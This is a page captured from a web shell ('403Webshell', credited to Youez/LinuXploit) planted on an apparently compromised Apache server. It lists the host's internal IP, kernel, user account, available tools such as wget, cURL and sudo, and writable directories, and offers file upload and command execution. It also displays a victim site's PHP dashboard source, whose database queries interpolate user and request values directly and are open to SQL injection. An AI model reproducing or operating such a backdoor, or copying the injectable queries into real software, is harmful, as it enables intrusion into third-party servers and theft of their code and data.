403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/vx/usa/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/vx/usa/functions/dashboardUpdate.php
<?
include_once($_SERVER['DOCUMENT_ROOT']."/vx/lib/xinc.php");
require_once($_SERVER['DOCUMENT_ROOT']."/vx/lib/user.php");
if(empty($user) || $guest)
{
	return false;
	exit;	
}
else
{
	$data = array();
	
	$selectedCourse = $_GET['selectedCourse'];
	if(!empty($selectedCourse))
	{
		$selectedCourse = clean($selectedCourse);
		$selectedCourseCategory = $db->query("
													SELECT 
															categories_id
													FROM grdb.grd_categories 
													WHERE 
														slug = '$selectedCourse'
													LIMIT 1
											");
		$siteCategory = $selectedCourseCategory[0]['categories_id'];
		$data['slug'] = $selectedCourseCategory;
	}
	/*if($siteCategory > 0)
	{
		$courses = $db->query("
									SELECT 
											gtc.*,
											gt.user
									FROM grdb.grd_training_courses AS gtc
									LEFT JOIN grdb.grd_training_complete AS gt
										ON 
											gt.course = gtc.course
											AND 
											gt.user = '$user'
									WHERE 
										gtc.status = 'active' 
										AND
										gtc.category = '$siteCategory'
									ORDER BY gtc.priority ASC
								");
		$coursesCount = count($courses);
		$coursesComplete = 0;
		for($i=0; $i<count($courses); $i++)
		{
			if($courses[$i]['user'] > 0)
			{
				$coursesComplete++;
			}
		}
	}*/
	
	$userPreferences = $db->query("
										SELECT 
												*
										FROM $userDB.lc_preferences
										WHERE
											user = '$user'
											AND
											site_code = '$siteCode'
									");
	if(count($userPreferences) == 0)
	{
		$db->query("
						INSERT INTO $userDB.lc_preferences
						SET
							user = '$user',
							search_results = '20',
							site_category = '$siteCategory',
							site_code = '$siteCode',
							funding_goal = '".$userData['money_end']."',
							ip_address1 = '".$_SERVER['REMOTE_ADDR']."',
							datetime_added = NOW()
					");	
	}
	else
	{
		$userPreferences = $userPreferences[0];
		$searchResultsCount = $userPreferences['search_results'];	
		if($userPreferences['ip_address1'] != $_SERVER['REMOTE_ADDR'] && empty($userPreferences['ip_address2']))
		{
			$db->query("
							UPDATE $userDB.lc_preferences
							SET
								ip_address2 = '".$_SERVER['REMOTE_ADDR']."',
								site_category = '$siteCategory'
							WHERE
								user = '$user'
								AND
								site_code = '$siteCode'
						");		
		}
	}
	$userPreferences['funding_goals'] = $userPreferences['funding_goal'];
	$grantsAppliedFor = $db->query("
										SELECT 
												SUM(gga.how_much_applied_for) AS amount
										FROM grdb.grd_grants_applied AS gga
										LEFT JOIN grdb.grd_grants AS gg
											ON gg.grants_id = gga.grants_id
										WHERE
												gga.user = '$user'
											AND
												gga.site_code = '$siteCode'
											AND
												gga.did_apply = 'yes'
									");	
	$userPreferences['grants_applied_total'] = $grantsAppliedFor[0]['amount'];
	
	$clientSubscriptions = $db->query("
										SELECT 
												* 
										FROM $userDB.lc_clients_subscriptions
										WHERE
											reseller_id = $user
										");
	$teleSeminarSubscription = false;
	$monthlySubscription = false;
	$userPreferences['teleSeminars'] = false;
	$userPreferences['monthlySubscription'] = false;
	for($i=0; $i<count($clientSubscriptions); $i++)
	{
		if(($clientSubscriptions[$i]['subscription_id'] == 2 || $clientSubscriptions[$i]['subscription_id'] == 3) && !$monthlySubscription)
		{
			$userPreferences['monthlySubscription'] = true;
			$monthlySubscription = true;
		}
	}
	
	$data['userData'] = userData($user, $userDB, $db);
	$data['userPreferences'] = $userPreferences;
	/*
	$coursePercent = ((100 / $coursesCount) * $coursesComplete);
	$data['coursePercent'] = round($coursePercent);
	$courseAngle = ((180 / 100) * round($coursePercent));
	$data['courseAngle'] = round($courseAngle);
	*/
	echo json_encode($data);
}
?>






















Youez - 2016 - github.com/yon3zu
LinuXploit